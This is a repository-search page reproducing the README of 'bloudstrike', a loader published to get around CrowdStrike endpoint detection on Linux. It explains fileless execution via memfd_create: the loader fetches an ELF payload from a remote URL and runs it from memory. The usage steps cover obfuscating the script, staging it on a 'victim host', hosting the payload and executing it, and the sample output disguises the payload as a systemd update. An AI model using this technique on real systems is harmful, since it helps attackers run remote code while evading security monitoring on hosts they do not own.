KO | EN

GitLite

Minimalist Open Source Repository Search Engine

gitlite — search

#dsh #dsh-plugin #typescript #developer-tools #claude-code #ai-agent #codex #deepseek-harness #ai-agents #cli #react #mcp

bloudstrike

★ 33 Open GitHub ↗

Linux CS bypass technique

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# bloudstrike - a (semi-retired) CS bypass loader
During several engagements, I dealt with CS on Linux servers. It was annoying because post-exploitation enumeration scripts would instantly be killed, and manual techniques were returning wack information. The script is insanely simple, and this isn't a profound or new method of execution by any means - but it helped me work around limited execution & detection. I didn't even expect ```memfd_create``` to work as opposed to other methods that are more stealthy. I can't speak for the specifics of detections, I just know my clients were telling me that it wasn't being detected by CS - and tbh that was good enough for me.

I have used this technique a lot over the course of the last year and a half, however, as of two months ago, this stopped working as an adequate bypass. In some cases, you can run it more than once and it still works - getting you to the point of being able to execute subsequent tools, but at that marker, you've already produced a lot of detection events.

I'm publishing this because it could give you an idea of some other techniques that might work. Since I don't have access to CS Linux, I can't test my latest techniques - but I've already started to use a different method.

# Technical Details
The script leverages fileless execution using ```memfd_create``` to load ELF binaries directly into memory. It does so by calling linux syscall ```319``` to allocate a memory-only file descriptor ```(FD)```. This prevents writing the malware on disk.

A target ELF binary, is downloaded from a remote URL using ```urllib.request```and writes the ELF binary contents into the in-memory FD ``/proc/self/fd/{fd}``.

Lastly, a new process is spawned by calling ```os.fork``` and subsequently calling```os.execve()```to directly load the binary from memory into the new process and execute it.

# Limitations
You shouldn't have any issues running it as a regular user, since ```os.fork()``` will create a process that is an exact same copy of the parent loader, and inherit the same UID, GID, and privs. Additionally, this is only going to be a good as your ELF - no matter how you may rework this loader. However, you might run into some prevention methodology. I don't want to get into the heuristics of all of the detection mechanisms in place that can stop this from working, as it might affect my other loaders. Keep in mind that EDR is now the main limitation. In some cases there *could* be AppArmor/SELinux rules that prevent this from running, but ya know - there are always ways around that.

# OS Support (Tested)
- Ubuntu 20.04, 22.04
- Debian 10, 11
- Kali Linux
# Probably Works On
- Most Linux distros with Kernel 3.17+, Alpine Linux (with ```glibc```), CentOS 7+ if you can enable ```memfd_create```
# Probably Wont Work On
- Older Linux Kernels <3.17
- Qubes OS or Hardened Alpine Linux builds
- Probably if you're running inside of Docker, LXC, or Kubernetes.

## Usage
1. Before you do any of this, please ensure that you have outbound on the victim host, since you're pulling a remote URL (obv). If you can, I'd recommend first pulling this down somewhere you can edit it [basically I don't recommend cloning this repo onto the victim host direct]. Take out the ASCII, modify print strings, change variable names, etc. Basically, obfuscate. 
```git clone https://github.com/johnjhacking/bloudstrike``` 
```nano bloudstrike.py``` 
<--make your edits and save--> 
2. If you have TTY, you can easily just make the script while on the host. I'll leave the "where to put it" to your best discretion, reminding you that it'll be the parent execution process that shows in a proclist. I mean...a lot of ways to fry a fish. 
```find / -type f -name "*.py" $ -perm -u=w -o -perm -g=w -o -perm -o=w $ 2>/dev/null``` 
3. Host the ELF file on a domain. Chmod the loader and execute. 
```chmod +x whatever.py``` OR if you went the find route, simply execute. 
```
└─$ python3 whatever.py -u https://x.x.x.x/systemd-helper.elf

___----------___
         _--                ----__
        -                         ---_
       -___    ____---_              --_
   __---_ .-_--   _ O _-                - 
  -      -_-       ---                   -
 -   __---------___                       -
 - _----                                  -
  -     -_                                 _
  `      _-                                 _
        _                           _-_  _-_ _
       _-                   ____    -_  -   --
       -   _-__   _    __---    -------       -
      _- _-   -_-- -_--                        _
      -_-                                       _
     _-                                          _
     - all my h0mies h8 bloudstrike

[systemd-helper] Allocating service descriptor...
[systemd-helper] Retrieving update package from: https://x.x.x.x/systemd-helper.elf
[systemd-helper] Processing system update...
[systemd-helper] Starting maintenance task...
[systemd-helper] Monitoring background process (PID: 2880622)...
[systemd-helper] Running scheduled service...
```

bloudstrike

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README